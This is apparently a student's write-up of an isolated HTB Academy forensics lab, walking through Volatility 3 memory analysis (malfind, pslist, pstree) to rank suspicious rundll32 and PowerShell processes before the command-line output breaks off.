Module 14: Practical Digital Forensics Case Study
This was the longest practical investigation in the module. I did not begin with the finished attack timeline and work backward. I started with the memory image, ranked suspicious processes, and followed the strongest pivots into the disk and triage artifacts.
That distinction matters because several early observations were suspicious without being proof. RWX memory was a lead, not a verdict. A missing parent PID was context, not automatic evidence of malware. Each conclusion became stronger only after command lines, DLLs, YARA matches, network connections, event logs, Prefetch, MFT records, and persistence artifacts began telling the same story.
Lab scope: All evidence paths, domains, IP addresses, hashes, processes, and credentials below belong to the isolated HTB Academy lab.
Reference notes: Module 14: Introduction to Digital Forensics
Case Study Navigation
Investigation flow
Evidence Provided
The case supplied the following evidence inside the HTB Academy environment:
- Memory dump’s location:
C:\Users\johndoe\Desktop\memdump\PhysicalMemory.raw - Rapid triage artifacts’ locations:
C:\Users\johndoe\Desktop\kapefilesC:\Users\johndoe\Desktop\files
- Full disk image’s location:
C:\Users\johndoe\Desktop\fulldisk.raw.001 - Parsed full disk image data location:
C:\Users\johndoe\Desktop\MalwareAttack
Memory Analysis with Volatility
I started with windows.info to establish the system context.
The result established:
- Build: 19041
- Architecture: 64-bit
- CPU count: 2 processors and other details too as needed
C:\Users\johndoe>cd C:\Users\johndoe\Desktop\volatility3-develop
C:\Users\johndoe\Desktop\volatility3-develop>vol.py -q -f ..\memdump\PhysicalMemory.raw windows.info
Python was not found; run without arguments to install from the Microsoft Store, or disable this shortcut from Settings > Manage App Execution Aliases.
C:\Users\johndoe\Desktop\volatility3-develop>python vol.py -q -f ..\memdump\PhysicalMemory.raw windows.info
Volatility 3 Framework 2.5.0
Variable Value
Kernel Base 0xf80150019000
DTB 0x1ad000
Symbols file:///C:/Users/johndoe/Desktop/volatility3-develop/volatility3/symbols/windows/ntkrnlmp.pdb/89284D0CA6ACC8274B9A44BD5AF9290B-1.json.xz
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 FileLayer
KdVersionBlock 0xf80150c283a0
Major/Minor 15.19041
MachineType 34404
KeNumberProcessors 2
SystemTime 2023-08-10 09:35:40
NtSystemRoot C:\Windows
NtProductType NtProductWinNt
NtMajorVersion 10
NtMinorVersion 0
PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion 0
PE Machine 34404
PE TimeDateStamp Fri May 20 08:24:42 2101
I then moved to windows.malfind for potential injected or otherwise suspicious executable memory.
C:\Users\johndoe\Desktop\volatility3-develop>python vol.py -q -f ..\memdump\PhysicalMemory.raw windows.malfind
Volatility 3 Framework 2.5.0
PID Process Start VPN End VPN Tag Protection CommitCharge PrivateMemory File output Hexdump
Disasm
3648 rundll32.exe 0x1f2d8c20000 0x1f2d8c6dfff VadS PAGE_EXECUTE_READWRITE 78 1 Disabled
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
0x1f2d8c20000: add byte ptr [rax], al
0x1f2d8c20002: add byte ptr [rax], al
0x1f2d8c20004: add byte ptr [rax], al
0x1f2d8c20006: add byte ptr [rax], al
0x1f2d8c20008: add byte ptr [rax], al
0x1f2d8c2000a: add byte ptr [rax], al
0x1f2d8c2000c: add byte ptr [rax], al
0x1f2d8c2000e: add byte ptr [rax], al
0x1f2d8c20010: add byte ptr [rax], al
0x1f2d8c20012: add byte ptr [rax], al
0x1f2d8c20014: add byte ptr [rax], al
0x1f2d8c20016: add byte ptr [rax], al
0x1f2d8c20018: add byte ptr [rax], al
0x1f2d8c2001a: add byte ptr [rax], al
0x1f2d8c2001c: add byte ptr [rax], al
0x1f2d8c2001e: add byte ptr [rax], al
0x1f2d8c20020: add byte ptr [rax], al
0x1f2d8c20022: add byte ptr [rax], al
0x1f2d8c20024: add byte ptr [rax], al
0x1f2d8c20026: add byte ptr [rax], al
0x1f2d8c20028: add byte ptr [rax], al
0x1f2d8c2002a: add byte ptr [rax], al
0x1f2d8c2002c: add byte ptr [rax], al
0x1f2d8c2002e: add byte ptr [rax], al
0x1f2d8c20030: add byte ptr [rax], al
0x1f2d8c20032: add byte ptr [rax], al
0x1f2d8c20034: add byte ptr [rax], al
0x1f2d8c20036: add byte ptr [rax], al
0x1f2d8c20038: add byte ptr [rax], al
0x1f2d8c2003a: add byte ptr [rax], al
0x1f2d8c2003c: add byte ptr [rax], al
0x1f2d8c2003e: add byte ptr [rax], al
6744 powershell.exe 0x1db40f50000 0x1db40f9dfff VadS PAGE_EXECUTE_READWRITE 78 1 Disabled
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
0x1db40f50000: add byte ptr [rax], al
0x1db40f50002: add byte ptr [rax], al
0x1db40f50004: add byte ptr [rax], al
0x1db40f50006: add byte ptr [rax], al
0x1db40f50008: add byte ptr [rax], al
0x1db40f5000a: add byte ptr [rax], al
0x1db40f5000c: add byte ptr [rax], al
0x1db40f5000e: add byte ptr [rax], al
0x1db40f50010: add byte ptr [rax], al
0x1db40f50012: add byte ptr [rax], al
0x1db40f50014: add byte ptr [rax], al
0x1db40f50016: add byte ptr [rax], al
0x1db40f50018: add byte ptr [rax], al
0x1db40f5001a: add byte ptr [rax], al
0x1db40f5001c: add byte ptr [rax], al
0x1db40f5001e: add byte ptr [rax], al
0x1db40f50020: add byte ptr [rax], al
0x1db40f50022: add byte ptr [rax], al
0x1db40f50024: add byte ptr [rax], al
0x1db40f50026: add byte ptr [rax], al
0x1db40f50028: add byte ptr [rax], al
0x1db40f5002a: add byte ptr [rax], al
0x1db40f5002c: add byte ptr [rax], al
0x1db40f5002e: add byte ptr [rax], al
0x1db40f50030: add byte ptr [rax], al
0x1db40f50032: add byte ptr [rax], al
0x1db40f50034: add byte ptr [rax], al
0x1db40f50036: add byte ptr [rax], al
0x1db40f50038: add byte ptr [rax], al
0x1db40f5003a: add byte ptr [rax], al
0x1db40f5003c: add byte ptr [rax], al
0x1db40f5003e: add byte ptr [rax], al
5468 rundll32.exe 0x13c60d40000 0x13c60d8dfff VadS PAGE_EXECUTE_READWRITE 78 1 Disabled
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
0x13c60d40000: add byte ptr [rax], al
0x13c60d40002: add byte ptr [rax], al
PAGE_EXECUTE_READWRITE allows a memory region to be modified and executed. Malware often relies on that combination during code injection, but the permission is not malicious by itself. It is a high-value lead that still needs corroboration.
We noted three processes with PAGE_EXECUTE_READWRITE memory regions:
rundll32.exePID 3648powershell.exePID 6744rundll32.exePID 5468
This output alone does not prove injection. RWX regions and zero-filled bytes still require validation against process context and additional evidence.
Next, windows.pslist showed the processes active when memory was captured.
C:\Users\johndoe\Desktop\volatility3-develop>python vol.py -q -f ..\memdump\PhysicalMemory.raw windows.pslist
Volatility 3 Framework 2.5.0
PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime
File output
4 0 System 0x800adb87e040 161 - N/A False 2023-08-10 00:22:53.000000 N/A Disabled
92 4 Registry 0x800adb8ee080 4 - N/A False 2023-08-10 00:22:48.000000 N/A
Disabled
304 4 smss.exe 0x800ade54f040 2 - N/A False 2023-08-10 00:22:53.000000 N/A
Disabled
416 404 csrss.exe 0x800adf452140 10 - 0 False 2023-08-10 00:22:55.000000 N/A
Disabled
492 404 wininit.exe 0x800adf6a4080 1 - 0 False 2023-08-10 00:22:55.000000 N/A
Disabled
500 484 csrss.exe 0x800adf6e7140 12 - 1 False 2023-08-10 00:22:55.000000 N/A
Disabled
588 484 winlogon.exe 0x800adf770080 7 - 1 False 2023-08-10 00:22:55.000000 N/A
Disabled
632 492 services.exe 0x800adf6a60c0 9 - 0 False 2023-08-10 00:22:56.000000 N/A
Disabled
660 492 lsass.exe 0x800adf781080 8 - 0 False 2023-08-10 00:22:56.000000 N/A
Disabled
760 632 svchost.exe 0x800adff42240 12 - 0 False 2023-08-10 00:22:56.000000 N/A
Disabled
772 588 fontdrvhost.ex 0x800adff45140 5 - 1 False 2023-08-10 00:22:56.000000 N/A
Disabled
768 492 fontdrvhost.ex 0x800adff46080 5 - 0 False 2023-08-10 00:22:56.000000 N/A
Disabled
884 632 svchost.exe 0x800adff8c2c0 8 - 0 False 2023-08-10 00:22:56.000000 N/A
Disabled
972 588 dwm.exe 0x800ae0021080 15 - 1 False 2023-08-10 00:22:56.000000 N/A Disabled
440 632 svchost.exe 0x800ae007f240 63 - 0 False 2023-08-10 00:22:56.000000 N/A
Disabled
344 632 svchost.exe 0x800ae00c02c0 16 - 0 False 2023-08-10 00:22:56.000000 N/A
Disabled
360 632 svchost.exe 0x800ae00d02c0 12 - 0 False 2023-08-10 00:22:56.000000 N/A
Disabled
876 632 svchost.exe 0x800ae00dd280 14 - 0 False 2023-08-10 00:22:56.000000 N/A
Disabled
1172 632 svchost.exe 0x800ae01542c0 20 - 0 False 2023-08-10 00:22:56.000000 N/A
Disabled
1272 632 svchost.exe 0x800ae01b92c0 17 - 0 False 2023-08-10 00:22:56.000000 N/A
Disabled
1428 4 MemCompression 0x800adb9a0040 42 - N/A False 2023-08-10 00:22:56.000000 N/A
Disabled
1480 632 svchost.exe 0x800ae0309080 8 - 0 False 2023-08-10 00:22:56.000000 N/A
Disabled
1676 632 svchost.exe 0x800ae030d2c0 3 - 0 False 2023-08-10 00:22:57.000000 N/A
Disabled
1684 632 svchost.exe 0x800ae030f2c0 4 - 0 False 2023-08-10 00:22:57.000000 N/A
Disabled
1788 632 spoolsv.exe 0x800adb8cc080 7 - 0 False 2023-08-10 00:22:57.000000 N/A
Disabled
1872 632 svchost.exe 0x800ae0303080 12 - 0 False 2023-08-10 00:22:57.000000 N/A
Disabled
2008 632 svchost.exe 0x800ae04a72c0 6 - 0 False 2023-08-10 00:22:57.000000 N/A
Disabled
2080 440 sihost.exe 0x800ae04ba080 8 - 1 False 2023-08-10 00:22:57.000000 N/A
Disabled
2092 632 svchost.exe 0x800ae06d32c0 8 - 1 False 2023-08-10 00:22:57.000000 N/A
Disabled
2140 632 svchost.exe 0x800ae06d4080 10 - 0 False 2023-08-10 00:22:57.000000 N/A
Disabled
2244 632 vm3dservice.ex 0x800ae0729240 2 - 0 False 2023-08-10 00:22:57.000000 N/A
Disabled
2252 632 VGAuthService. 0x800adf464300 2 - 0 False 2023-08-10 00:22:57.000000 N/A
Disabled
2276 632 MsMpEng.exe 0x800adf466280 0 - 0 False 2023-08-10 00:22:57.000000 2023-08-10 00:31:58.000000 Disabled
2284 632 vmtoolsd.exe 0x800adf4620c0 12 - 0 False 2023-08-10 00:22:57.000000 N/A
Disabled
2380 440 taskhostw.exe 0x800ae07ea280 0 - 1 False 2023-08-10 00:22:57.000000 2023-08-10 00:23:00.000000 Disabled
2404 440 taskhostw.exe 0x800ae07f22c0 8 - 1 False 2023-08-10 00:22:57.000000 N/A
Disabled
2520 2244 vm3dservice.ex 0x800ae0530080 2 - 1 False 2023-08-10 00:22:58.000000 N/A
Disabled
2840 876 ctfmon.exe 0x800ae0584080 8 - 1 False 2023-08-10 00:22:58.000000 N/A
Disabled
2880 632 svchost.exe 0x800ae0841240 2 - 0 False 2023-08-10 00:22:58.000000 N/A
Disabled
640 632 dllhost.exe 0x800ae0a1f280 10 - 0 False 2023-08-10 00:22:59.000000 N/A
Disabled
3128 760 WmiPrvSE.exe 0x800ae0ab8280 13 - 0 False 2023-08-10 00:23:00.000000 N/A
Disabled
3240 632 msdtc.exe 0x800ae0af9280 9 - 0 False 2023-08-10 00:23:00.000000 N/A
Disabled
3508 588 userinit.exe 0x800ae0b75300 0 - 1 False 2023-08-10 00:23:00.000000 2023-08-10 00:23:24.000000 Disabled
4260 632 svchost.exe 0x800ae0f292c0 7 - 1 False 2023-08-10 00:23:03.000000 N/A
Disabled
4400 632 SearchIndexer. 0x800ae0fcb240 16 - 0 False 2023-08-10 00:23:04.000000 N/A
Disabled
4724 760 RuntimeBroker. 0x800ae0e27080 3 - 1 False 2023-08-10 00:23:04.000000 N/A
Disabled
4932 760 RuntimeBroker. 0x800ae11532c0 10 - 1 False 2023-08-10 00:23:05.000000 N/A
Disabled
1908 760 Microsoft.Phot 0x800ae164b0c0 15 - 1 False 2023-08-10 00:23:06.000000 N/A
Disabled
5392 760 RuntimeBroker. 0x800ae17a52c0 1 - 1 False 2023-08-10 00:23:07.000000 N/A
Disabled
5848 760 RuntimeBroker. 0x800ae10c62c0 2 - 1 False 2023-08-10 00:23:10.000000 N/A
Disabled
5912 760 RuntimeBroker. 0x800ae1804200 4 - 1 False 2023-08-10 00:23:11.000000 N/A
Disabled
1996 632 svchost.exe 0x800ae180d080 10 - 0 False 2023-08-10 00:23:14.000000 N/A
Disabled
1584 876 dasHost.exe 0x800ae10c5080 3 - 0 False 2023-08-10 00:23:14.000000 N/A
Disabled
3912 3552 SecurityHealth 0x800ae148a080 1 - 1 False 2023-08-10 00:23:17.000000 N/A
Disabled
3964 632 SecurityHealth 0x800ae1489280 9 - 0 False 2023-08-10 00:23:17.000000 N/A
Disabled
5984 3552 vmtoolsd.exe 0x800ae148f080 6 - 1 False 2023-08-10 00:23:17.000000 N/A
Disabled
6908 760 SkypeApp.exe 0x800ae1ee0240 41 - 1 False 2023-08-10 00:23:46.000000 N/A
Disabled
7032 760 RuntimeBroker. 0x800ae1b91300 2 - 1 False 2023-08-10 00:23:49.000000 N/A
Disabled
4920 632 svchost.exe 0x800ae24692c0 2 - 0 False 2023-08-10 00:24:00.000000 N/A
Disabled
1260 760 RuntimeBroker. 0x800ae15f0080 1 - 1 False 2023-08-10 00:24:09.000000 N/A
Disabled
2320 760 ApplicationFra 0x800ae21a92c0 3 - 1 False 2023-08-10 00:24:10.000000 N/A
Disabled
2440 760 WWAHost.exe 0x800ae24752c0 26 - 1 False 2023-08-10 00:24:10.000000 N/A
Disabled
6732 760 dllhost.exe 0x800ae170c340 6 - 1 False 2023-08-10 00:24:12.000000 N/A
Disabled
7028 760 WinStore.App.e 0x800ae2937080 12 - 1 False 2023-08-10 00:24:26.000000 N/A
Disabled
7320 632 svchost.exe 0x800ae2b36080 3 - 0 False 2023-08-10 00:24:49.000000 N/A
Disabled
7884 632 SgrmBroker.exe 0x800ae1f63240 7 - 0 False 2023-08-10 00:24:58.000000 N/A
Disabled
8024 632 svchost.exe 0x800ae139a0c0 3 - 0 False 2023-08-10 00:24:58.000000 N/A
Disabled
8100 632 svchost.exe 0x800ae1f67080 8 - 0 False 2023-08-10 00:24:59.000000 N/A
Disabled
6160 632 svchost.exe 0x800ae23c8080 3 - 0 False 2023-08-10 00:25:22.000000 N/A
Disabled
3372 440 powershell.exe 0x800ae1fe1080 8 - 0 False 2023-08-10 00:30:32.000000 N/A
Disabled
3136 3372 conhost.exe 0x800ae25e3300 4 - 0 False 2023-08-10 00:30:32.000000 N/A
Disabled
6564 3372 Autorunsc64.ex 0x800ae2ddf080 1 - 0 False 2023-08-10 00:30:40.000000 N/A
Disabled
7148 588 explorer.exe 0x800ae0d4b080 48 - 1 False 2023-08-10 00:30:56.000000 N/A
Disabled
1380 632 Sysmon64.exe 0x800ae1b74080 12 - 0 False 2023-08-10 00:30:58.000000 N/A
Disabled
4208 760 unsecapp.exe 0x800ae2c1d080 3 - 0 False 2023-08-10 00:30:58.000000 N/A
Disabled
7316 760 StartMenuExper 0x800ae1360080 6 - 1 False 2023-08-10 00:30:58.000000 N/A
Disabled
4640 760 TextInputHost. 0x800ae0d90340 9 - 1 False 2023-08-10 00:30:59.000000 N/A
Disabled
672 760 SearchApp.exe 0x800ae12b4340 46 - 1 False 2023-08-10 00:31:00.000000 N/A
Disabled
4504 760 ShellExperienc 0x800ae1456080 15 - 1 False 2023-08-10 00:31:01.000000 N/A
Disabled
5520 760 RuntimeBroker. 0x800ae10b6080 2 - 1 False 2023-08-10 00:33:03.000000 N/A
Disabled
2868 760 SkypeBackgroun 0x800ae2961080 4 - 1 False 2023-08-10 09:10:28.000000 N/A
Disabled
7820 632 Velociraptor.e 0x800ae0b5e080 15 - 0 False 2023-08-10 09:11:16.000000 N/A
Disabled
6388 7148 chrome.exe 0x800ae1389080 0 - 1 False 2023-08-10 09:11:41.000000 2023-08-10 09:15:24.000000 Disabled
3648 7148 rundll32.exe 0x800ae16c6080 4 - 1 False 2023-08-10 09:15:14.000000 N/A
Disabled
6744 908 powershell.exe 0x800ae5da50c0 10 - 1 False 2023-08-10 09:21:16.000000 N/A
Disabled
5692 6744 conhost.exe 0x800ae19e4300 3 - 1 False 2023-08-10 09:21:16.000000 N/A
Disabled
5468 7512 rundll32.exe 0x800ae01f0080 3 - 0 False 2023-08-10 09:23:15.000000 N/A
Disabled
3944 632 VSSVC.exe 0x800ae16c4080 5 - 0 False 2023-08-10 09:31:21.000000 N/A
Disabled
7292 632 svchost.exe 0x800ae2de0080 5 - 0 False 2023-08-10 09:31:21.000000 N/A
Disabled
2432 760 smartscreen.ex 0x800ae29ac080 7 - 1 False 2023-08-10 09:32:30.000000 N/A
Disabled
892 7148 chrome.exe 0x800ae10d2080 42 - 1 False 2023-08-10 09:32:30.000000 N/A
Disabled
4492 892 chrome.exe 0x800ae2c53080 8 - 1 False 2023-08-10 09:32:31.000000 N/A
Disabled
7208 892 chrome.exe 0x800ae4a7d080 17 - 1 False 2023-08-10 09:32:32.000000 N/A
Disabled
2784 892 chrome.exe 0x800ae26a92c0 15 - 1 False 2023-08-10 09:32:32.000000 N/A
Disabled
3052 892 chrome.exe 0x800ae2847080 9 - 1 False 2023-08-10 09:32:32.000000 N/A
Disabled
7416 892 chrome.exe 0x800ae26b32c0 15 - 1 False 2023-08-10 09:32:33.000000 N/A
Disabled
4972 892 chrome.exe 0x800ae2b17080 14 - 1 False 2023-08-10 09:32:34.000000 N/A
Disabled
4296 892 chrome.exe 0x800ae0ee3080 14 - 1 False 2023-08-10 09:32:34.000000 N/A
Disabled
3416 892 chrome.exe 0x800ae0e62080 14 - 1 False 2023-08-10 09:32:34.000000 N/A
Disabled
4040 7820 winpmem_mini_x 0x800ae1fe8080 3 - 0 False 2023-08-10 09:35:40.000000 N/A
Disabled
5112 4040 conhost.exe 0x800ae1334080 6 - 0 False 2023-08-10 09:35:40.000000 N/A
Disabled
From malfind, we found three processes with suspicious PAGE_EXECUTE_READWRITE memory:
rundll32.exePID 3648 was started byexplorer.exePID 7148. The parent exists, so this relationship is possible, but the RWX memory still needs checking.powershell.exePID 6744 has parent PID 908, but PID 908 is missing frompslist. This makes it more suspicious.rundll32.exePID 5468 has parent PID 7512, but PID 7512 is also missing frompslist, so this one is suspicious too.
A missing parent PID is not automatically suspicious. The parent may simply have exited before memory was captured while the child remained active.
It becomes worth checking here only because those processes also had PAGE_EXECUTE_READWRITE memory. So the suspicion comes from the combination, not just the missing parent.
I used windows.pstree next to view the processes as a parent-child tree.
It helps you quickly see:
- Which process launched another process
- Suspicious parent-child relationships
- Processes whose parent is missing
- The process creation flow
C:\Users\johndoe\Desktop\volatility3-develop>python vol.py -q -f ..\memdump\PhysicalMemory.raw windows.pstree
Volatility 3 Framework 2.5.0
PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime
4 0 System 0x800adb87e040 161 - N/A False 2023-08-10 00:22:53.000000 N/A
* 304 4 smss.exe 0x800ade54f040 2 - N/A False 2023-08-10 00:22:53.000000 N/A
* 1428 4 MemCompression 0x800adb9a0040 42 - N/A False 2023-08-10 00:22:56.000000 N/A
* 92 4 Registry 0x800adb8ee080 4 - N/A False 2023-08-10 00:22:48.000000 N/A
416 404 csrss.exe 0x800adf452140 10 - 0 False 2023-08-10 00:22:55.000000 N/A
492 404 wininit.exe 0x800adf6a4080 1 - 0 False 2023-08-10 00:22:55.000000 N/A
* 632 492 services.exe 0x800adf6a60c0 9 - 0 False 2023-08-10 00:22:56.000000 N/A
** 640 632 dllhost.exe 0x800ae0a1f280 10 - 0 False 2023-08-10 00:22:59.000000 N/A
** 1676 632 svchost.exe 0x800ae030d2c0 3 - 0 False 2023-08-10 00:22:57.000000 N/A
** 7820 632 Velociraptor.e 0x800ae0b5e080 15 - 0 False 2023-08-10 09:11:16.000000 N/A
*** 4040 7820 winpmem_mini_x 0x800ae1fe8080 3 - 0 False 2023-08-10 09:35:40.000000
N/A
**** 5112 4040 conhost.exe 0x800ae1334080 6 - 0 False 2023-08-10 09:35:40.000000
N/A
** 6160 632 svchost.exe 0x800ae23c8080 3 - 0 False 2023-08-10 00:25:22.000000 N/A
** 1172 632 svchost.exe 0x800ae01542c0 20 - 0 False 2023-08-10 00:22:56.000000 N/A
** 1684 632 svchost.exe 0x800ae030f2c0 4 - 0 False 2023-08-10 00:22:57.000000 N/A
** 7320 632 svchost.exe 0x800ae2b36080 3 - 0 False 2023-08-10 00:24:49.000000 N/A
** 4260 632 svchost.exe 0x800ae0f292c0 7 - 1 False 2023-08-10 00:23:03.000000 N/A
** 8100 632 svchost.exe 0x800ae1f67080 8 - 0 False 2023-08-10 00:24:59.000000 N/A
** 3240 632 msdtc.exe 0x800ae0af9280 9 - 0 False 2023-08-10 00:23:00.000000 N/A
** 2092 632 svchost.exe 0x800ae06d32c0 8 - 1 False 2023-08-10 00:22:57.000000 N/A
** 4400 632 SearchIndexer. 0x800ae0fcb240 16 - 0 False 2023-08-10 00:23:04.000000 N/A
** 440 632 svchost.exe 0x800ae007f240 63 - 0 False 2023-08-10 00:22:56.000000 N/A
*** 2080 440 sihost.exe 0x800ae04ba080 8 - 1 False 2023-08-10 00:22:57.000000
N/A
*** 2404 440 taskhostw.exe 0x800ae07f22c0 8 - 1 False 2023-08-10 00:22:57.000000
N/A
*** 2380 440 taskhostw.exe 0x800ae07ea280 0 - 1 False 2023-08-10 00:22:57.000000
2023-08-10 00:23:00.000000
*** 3372 440 powershell.exe 0x800ae1fe1080 8 - 0 False 2023-08-10 00:30:32.000000
N/A
**** 3136 3372 conhost.exe 0x800ae25e3300 4 - 0 False 2023-08-10 00:30:32.000000
N/A
**** 6564 3372 Autorunsc64.ex 0x800ae2ddf080 1 - 0 False 2023-08-10 00:30:40.000000
N/A
** 4920 632 svchost.exe 0x800ae24692c0 2 - 0 False 2023-08-10 00:24:00.000000 N/A
** 2880 632 svchost.exe 0x800ae0841240 2 - 0 False 2023-08-10 00:22:58.000000 N/A
** 2244 632 vm3dservice.ex 0x800ae0729240 2 - 0 False 2023-08-10 00:22:57.000000 N/A
*** 2520 2244 vm3dservice.ex 0x800ae0530080 2 - 1 False 2023-08-10 00:22:58.000000
N/A
** 1480 632 svchost.exe 0x800ae0309080 8 - 0 False 2023-08-10 00:22:56.000000 N/A
** 2252 632 VGAuthService. 0x800adf464300 2 - 0 False 2023-08-10 00:22:57.000000 N/A
** 1996 632 svchost.exe 0x800ae180d080 10 - 0 False 2023-08-10 00:23:14.000000 N/A
** 7884 632 SgrmBroker.exe 0x800ae1f63240 7 - 0 False 2023-08-10 00:24:58.000000 N/A
** 1872 632 svchost.exe 0x800ae0303080 12 - 0 False 2023-08-10 00:22:57.000000 N/A
** 7292 632 svchost.exe 0x800ae2de0080 5 - 0 False 2023-08-10 09:31:21.000000 N/A
** 344 632 svchost.exe 0x800ae00c02c0 16 - 0 False 2023-08-10 00:22:56.000000 N/A
** 2008 632 svchost.exe 0x800ae04a72c0 6 - 0 False 2023-08-10 00:22:57.000000 N/A
** 8024 632 svchost.exe 0x800ae139a0c0 3 - 0 False 2023-08-10 00:24:58.000000 N/A
** 2140 632 svchost.exe 0x800ae06d4080 10 - 0 False 2023-08-10 00:22:57.000000 N/A
** 2276 632 MsMpEng.exe 0x800adf466280 0 - 0 False 2023-08-10 00:22:57.000000 2023-08-10 00:31:58.000000
** 1380 632 Sysmon64.exe 0x800ae1b74080 12 - 0 False 2023-08-10 00:30:58.000000 N/A
** 360 632 svchost.exe 0x800ae00d02c0 12 - 0 False 2023-08-10 00:22:56.000000 N/A
** 3964 632 SecurityHealth 0x800ae1489280 9 - 0 False 2023-08-10 00:23:17.000000 N/A
** 3944 632 VSSVC.exe 0x800ae16c4080 5 - 0 False 2023-08-10 09:31:21.000000 N/A
** 876 632 svchost.exe 0x800ae00dd280 14 - 0 False 2023-08-10 00:22:56.000000 N/A
*** 2840 876 ctfmon.exe 0x800ae0584080 8 - 1 False 2023-08-10 00:22:58.000000
N/A
*** 1584 876 dasHost.exe 0x800ae10c5080 3 - 0 False 2023-08-10 00:23:14.000000
N/A
** 2284 632 vmtoolsd.exe 0x800adf4620c0 12 - 0 False 2023-08-10 00:22:57.000000 N/A
** 760 632 svchost.exe 0x800adff42240 12 - 0 False 2023-08-10 00:22:56.000000 N/A
*** 2432 760 smartscreen.ex 0x800ae29ac080 7 - 1 False 2023-08-10 09:32:30.000000
N/A
*** 2440 760 WWAHost.exe 0x800ae24752c0 26 - 1 False 2023-08-10 00:24:10.000000
N/A
*** 5392 760 RuntimeBroker. 0x800ae17a52c0 1 - 1 False 2023-08-10 00:23:07.000000
N/A
*** 2320 760 ApplicationFra 0x800ae21a92c0 3 - 1 False 2023-08-10 00:24:10.000000
N/A
*** 5520 760 RuntimeBroker. 0x800ae10b6080 2 - 1 False 2023-08-10 00:33:03.000000
N/A
*** 7316 760 StartMenuExper 0x800ae1360080 6 - 1 False 2023-08-10 00:30:58.000000
N/A
*** 4504 760 ShellExperienc 0x800ae1456080 15 - 1 False 2023-08-10 00:31:01.000000
N/A
*** 5912 760 RuntimeBroker. 0x800ae1804200 4 - 1 False 2023-08-10 00:23:11.000000
N/A
*** 4640 760 TextInputHost. 0x800ae0d90340 9 - 1 False 2023-08-10 00:30:59.000000
N/A
*** 672 760 SearchApp.exe 0x800ae12b4340 46 - 1 False 2023-08-10 00:31:00.000000 N/A
*** 2868 760 SkypeBackgroun 0x800ae2961080 4 - 1 False 2023-08-10 09:10:28.000000
N/A
*** 3128 760 WmiPrvSE.exe 0x800ae0ab8280 13 - 0 False 2023-08-10 00:23:00.000000
N/A
*** 4932 760 RuntimeBroker. 0x800ae11532c0 10 - 1 False 2023-08-10 00:23:05.000000
N/A
*** 6732 760 dllhost.exe 0x800ae170c340 6 - 1 False 2023-08-10 00:24:12.000000
N/A
*** 5848 760 RuntimeBroker. 0x800ae10c62c0 2 - 1 False 2023-08-10 00:23:10.000000
N/A
*** 1260 760 RuntimeBroker. 0x800ae15f0080 1 - 1 False 2023-08-10 00:24:09.000000
N/A
*** 4208 760 unsecapp.exe 0x800ae2c1d080 3 - 0 False 2023-08-10 00:30:58.000000
N/A
*** 1908 760 Microsoft.Phot 0x800ae164b0c0 15 - 1 False 2023-08-10 00:23:06.000000
N/A
*** 4724 760 RuntimeBroker. 0x800ae0e27080 3 - 1 False 2023-08-10 00:23:04.000000
N/A
*** 7028 760 WinStore.App.e 0x800ae2937080 12 - 1 False 2023-08-10 00:24:26.000000
N/A
*** 7032 760 RuntimeBroker. 0x800ae1b91300 2 - 1 False 2023-08-10 00:23:49.000000
N/A
*** 6908 760 SkypeApp.exe 0x800ae1ee0240 41 - 1 False 2023-08-10 00:23:46.000000
N/A
** 884 632 svchost.exe 0x800adff8c2c0 8 - 0 False 2023-08-10 00:22:56.000000 N/A
** 1272 632 svchost.exe 0x800ae01b92c0 17 - 0 False 2023-08-10 00:22:56.000000 N/A
** 1788 632 spoolsv.exe 0x800adb8cc080 7 - 0 False 2023-08-10 00:22:57.000000 N/A
* 768 492 fontdrvhost.ex 0x800adff46080 5 - 0 False 2023-08-10 00:22:56.000000 N/A
* 660 492 lsass.exe 0x800adf781080 8 - 0 False 2023-08-10 00:22:56.000000 N/A
500 484 csrss.exe 0x800adf6e7140 12 - 1 False 2023-08-10 00:22:55.000000 N/A
588 484 winlogon.exe 0x800adf770080 7 - 1 False 2023-08-10 00:22:55.000000 N/A
* 7148 588 explorer.exe 0x800ae0d4b080 48 - 1 False 2023-08-10 00:30:56.000000 N/A
** 3648 7148 rundll32.exe 0x800ae16c6080 4 - 1 False 2023-08-10 09:15:14.000000 N/A
** 892 7148 chrome.exe 0x800ae10d2080 42 - 1 False 2023-08-10 09:32:30.000000 N/A
*** 2784 892 chrome.exe 0x800ae26a92c0 15 - 1 False 2023-08-10 09:32:32.000000
N/A
*** 3416 892 chrome.exe 0x800ae0e62080 14 - 1 False 2023-08-10 09:32:34.000000
N/A
*** 7208 892 chrome.exe 0x800ae4a7d080 17 - 1 False 2023-08-10 09:32:32.000000
N/A
*** 4296 892 chrome.exe 0x800ae0ee3080 14 - 1 False 2023-08-10 09:32:34.000000
N/A
*** 4492 892 chrome.exe 0x800ae2c53080 8 - 1
From pstree, we can narrow it down:
- rundll32.exe PID 3648 is a child of
explorer.exePID 7148. That is a plausible user-launched relationship, so we lower its priority for now. It is not fully cleared becausemalfindstill found RWX memory. - PowerShell PID 6744 does not appear in this tree. The PowerShell shown here is PID 3372, which is a different process and launched
Autorunsc64.exe. Do not confuse it with our suspicious PID. - rundll32.exe PID 5468 also does not appear because its parent PID 7512 is unavailable.
So our stronger pivots remain 6744 and 5468. Next, windows.cmdline can show what command launched them
C:\Users\johndoe\Desktop\volatility3-develop>python vol.py -q -f ..\memdump\PhysicalMemory.raw windows.cmdline
Volatility 3 Framework 2.5.0
PID Process Args
4 System Required memory at 0x20 is inaccessible (swapped)
